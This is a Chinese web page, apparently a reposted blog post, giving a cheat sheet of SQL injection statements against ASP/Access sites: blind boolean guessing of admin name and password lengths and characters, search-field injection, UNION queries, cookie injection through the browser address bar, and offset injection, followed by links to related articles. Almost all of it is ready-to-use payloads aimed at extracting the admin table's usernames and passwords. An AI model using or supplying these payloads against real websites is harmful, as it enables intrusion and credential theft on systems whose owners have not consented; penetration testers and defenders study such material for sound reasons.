注入语句详解(get注入,cookie注入,搜索型注入等)
拆半法
######################################
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)
and exists(select id from admin)
and exists(select id from admin where id=1)
and exists(select id from admin where id>1)
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
and exists (select username from admin)
and exists (select password from admin)
and exists (select id from admin where len(username)<10 and id=1)
and exists (select id from admin where len(username)>5 and id=1)
and exists (select id from admin where len(username)=6 and id=1)
and exists (select id from admin where len(password)<10 and id=1)
and exists (select id from admin where len(password)>5 and id=1)
and exists (select id from admin where len(password)=7 and id=1)
and (select top 1 asc(mid(username,1,1)) from admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了
##################################################
搜索型注入
##################################
%' and 1=1 and '%'='
%' and exists (select * from admin) and '%'='
%' and exists(select id from admin where id=1) and '%'='
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
对于MSSQL数据库,后面可以吧 and '%'='换成--
还有一点搜索型注入也可以使用union语句。
########################################################
联合查询。
#####################################
order by 10
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
###################################
cookie注入
###############################
http://www.******.com/shownews.asp?id=127
http://www.******.com/shownews.asp
alert(="id="+escape("127"));
alert(="id="+escape("127 and 1=1"));
alert(="id="+escape("127 order by 10"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
###################################
偏移注入
###########################################################
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
a.id=d.id)
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
注入语句详解(get注入,cookie注入,搜索型注入等)的更多相关文章
- Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法
sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
- PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等
页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...
- spring注入参数详解
spring注入参数详解 在Spring配置文件中, 用户不但可以将String, int等字面值注入到Bean中, 还可以将集合, Map等类型的数据注入到Bean中, 此外还可以注入配置文件中定义 ...
- Spring事务Transaction配置的五种注入方式详解
Spring事务Transaction配置的五种注入方式详解 前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识.通过这次的学 ...
- SQL注入漏洞详解
目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...
- SpringBoot之Spring@Value属性注入使用详解
在使用Spring框架的项目中,@Value是使用比较频繁的注解之一,它的作用是将配置文件中key对应的值赋值给它标注的属性.在日常使用中我们常用的功能都比较简单,本篇文章系统的带大家来了解一下@Va ...
- 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入
另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...
- Sqlserver2008+搜索型注入技术
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞.然后搜索%,如果正常返回,说明95%有洞了. 然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息 ...
随机推荐
- 智能车学习(十三)——角度控制
一.手册代码以及图示 二.流程说明 1.角度计算函数说明 //===================================================================== ...
- 战斗住的DPS才是DPS,持续的执行力才是执行力
工作久了,真的发现执行力这个东西太难被贯彻,计划时信心满满,冲劲十足,持续一段时间后就喇叭腔了.
- java的几种对象(PO,VO,DAO,BO,POJO)解释
java的几种对象(PO,VO,DAO,BO,POJO)解释 一.PO:persistant object 持久对象,可以看成是与数据库中的表相映射的java对象.最简单的PO就是对应数据库中 ...
- 【转】Kylin的cube模型
转自:http://www.cnblogs.com/en-heng/p/5239311.html 1. 数据仓库的相关概念 OLAP 大部分数据库系统的主要任务是执行联机事务处理和查询处理,这种处理被 ...
- windows修改虚拟内存
右键电脑属性: 高级系统设置: 性能设置: 虚拟内存更改:
- Something about "if"
分支:If引导了一个分支,语法结构有{if:if, else if,else:if,else:等}if可以单独使用,不一定非要加else,但是为了语句的严谨或者程序的稳定,请尽量使用else(注意if ...
- poj 2774 Long Long Message 后缀数组基础题
Time Limit: 4000MS Memory Limit: 131072K Total Submissions: 24756 Accepted: 10130 Case Time Limi ...
- 本BLOG简介(内有一道UVa524素数环进阶版)【B001】
[B001]Hi,大家好,今天我的博客第一天开通,今天奉上开博题,出自首都师师范大学附属中学OJ(题号未知在练习场中)原题为UVa524,题目要求如下: [难度B]—————————————————— ...
- 线段树(多棵) HDOJ 4288 Coder
题目传送门 题意:集合,add x, del x, 求和 分析:首先,暴力可以过这题.用上线段树能大大降低时间的消耗,具体就是类似开了5棵线段树,每个节点都有5个空间,表示该区间的id%5后的和,区间 ...
- MFC MSBDutyTable下载地址
点击此处跳转到下载地址 简明教程: 对于非制表人,只需要添加空余时间-新建,然后点星期和节数有课的那个按钮,勾选自己有课的周数.全部勾好后,生成空余时间表.然后查看自己的空余时间表,并导出,发给制表人 ...